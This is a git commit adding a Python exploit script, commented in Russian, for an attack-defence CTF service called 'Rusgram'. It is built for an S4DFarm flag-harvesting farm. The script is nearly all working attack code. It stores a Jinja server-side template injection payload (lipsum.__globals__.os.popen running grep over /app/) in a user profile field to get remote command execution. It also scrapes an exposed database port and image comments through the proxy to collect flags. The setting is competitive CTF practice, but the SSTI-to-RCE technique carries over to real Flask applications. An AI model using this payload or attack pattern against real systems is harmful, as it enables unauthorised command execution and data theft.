rand_sploit_rusgram_btw

This commit is contained in:
frogolonso
2026-08-26 11:52:27 +03:00
parent 4cfd0b4165
commit b647951199
+150
View File
@@ -0,0 +1,150 @@
#!/usr/bin/env python3
"""
Rusgram — SSTI "flag rake" (distinct from rusgram_sploit.py).
Отличия от существующего комбинированного сплойта:
* основной вектор — ОДИН SSTI-RCE-запрос с широким grep по всему /app/
(а не только по /app/files/db/), ловит флаги в любом месте ФС таргета;
* добавлен канал сбора флагов из КОММЕНТАРИЕВ к картинкам
(specific.html через proxy + прямой database) — существующий сплойт
комментарии использует только для энумерации имён, флаги оттуда не берёт;
* реализованы точки входа start_sploit(ip, port) и sploit(ip) для фермы.
S4DFarm-совместим: CLI (argv[1]=IP, argv[2]=PORT), флаги в stdout по одному
на строку, жёсткие таймауты, все сетевые вызовы в try/except.
Запуск:
./start_sploit.py rusgram_ssti_flagrake.py
# или напрямую:
python3 rusgram_ssti_flagrake.py <IP> [PROXY_PORT]
"""
import sys
import re
import random
import string
import requests
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
TIMEOUT = 5
PROXY_PORT = 38000
DB_PORT = 38002
def _rnd(n=8):
return "".join(random.choices(string.ascii_lowercase, k=n))
def _log(msg):
print(f"[*] {msg}", file=sys.stderr, flush=True)
# --------------------------------------------------------------------------
# Вектор A: SSTI -> RCE. Имя юзера с суффиксом .html рендерится content'ом как
# Jinja-шаблон (content.route -> render_template(path)). Кладём payload в поле
# юзера ДО первого рендера, затем один grep по всему /app/.
# --------------------------------------------------------------------------
def _v_ssti(base, flags):
user, pwd = f"{_rnd()}.html", _rnd()
try:
requests.post(f"{base}/api/register",
json={"login": user, "password": pwd}, timeout=TIMEOUT)
# grep рекурсивно сам обходит ФС: имена жертв знать не нужно.
# -h убирает имена файлов, 2>/dev/null глушит ошибки доступа.
payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE "
"\"[A-Z0-9]{31}=\" /app/ 2>/dev/null').read() }}")
requests.post(f"{base}/api/update_personal",
json={"first_name": payload, "second_name": "x", "email": "x"},
cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT)
r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT)
found = set(FLAG_RX.findall(r.text))
flags |= found
_log(f"A (SSTI grep) : {len(found)} flags")
except requests.RequestException as e:
_log(f"A failed: {e}")
# --------------------------------------------------------------------------
# Вектор B: прямой database на 38002 — читаем и user-поля, и КОММЕНТАРИИ картинок.
# --------------------------------------------------------------------------
def _v_db_comments(ip, flags):
d = f"http://{ip}:{DB_PORT}"
found = set()
for i in range(1, 17):
try:
r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT)
found |= set(FLAG_RX.findall(r.text))
except requests.RequestException:
break
flags |= found
if found:
_log(f"B (db imgs) : {len(found)} flags")
# --------------------------------------------------------------------------
# Вектор C: specific.html через proxy рендерит комментарии картинок.
# Работает, даже если 38002 закрыт фаерволом (ходим только на 38000).
# Требуется валидная сессия -> регистрируем свой аккаунт.
# --------------------------------------------------------------------------
def _v_proxy_comments(base, flags):
actor, pwd = _rnd(10), _rnd()
try:
requests.post(f"{base}/api/register",
json={"login": actor, "password": pwd}, timeout=TIMEOUT)
except requests.RequestException:
return
found = set()
cookies = {"session": f"{actor}||{pwd}"}
for i in range(1, 17):
try:
r = requests.get(f"{base}/specific.html?img={i}",
cookies=cookies, timeout=TIMEOUT)
found |= set(FLAG_RX.findall(r.text))
except requests.RequestException:
pass
flags |= found
if found:
_log(f"C (proxy cmt) : {len(found)} flags")
def exploit(target_ip, port=None):
proxy_port = int(port) if port else PROXY_PORT
base = f"http://{target_ip}:{proxy_port}"
flags = set()
_v_ssti(base, flags) # самый широкий вектор — первым
_v_db_comments(target_ip, flags)
_v_proxy_comments(base, flags)
return flags
# --- Точки входа для S4DFarm ------------------------------------------------
def start_sploit(ip, port=None):
return exploit(ip, port)
def sploit(ip, port=None):
return exploit(ip, port)
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [port]", file=sys.stderr, flush=True)
sys.exit(1)
target_ip = sys.argv[1]
port = sys.argv[2] if len(sys.argv) > 2 else None
try:
found_flags = exploit(target_ip, port) or []
for flag in found_flags:
clean_flag = str(flag).strip()
if FLAG_RX.fullmatch(clean_flag):
print(clean_flag, flush=True)
except Exception as e:
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
if __name__ == "__main__":
main()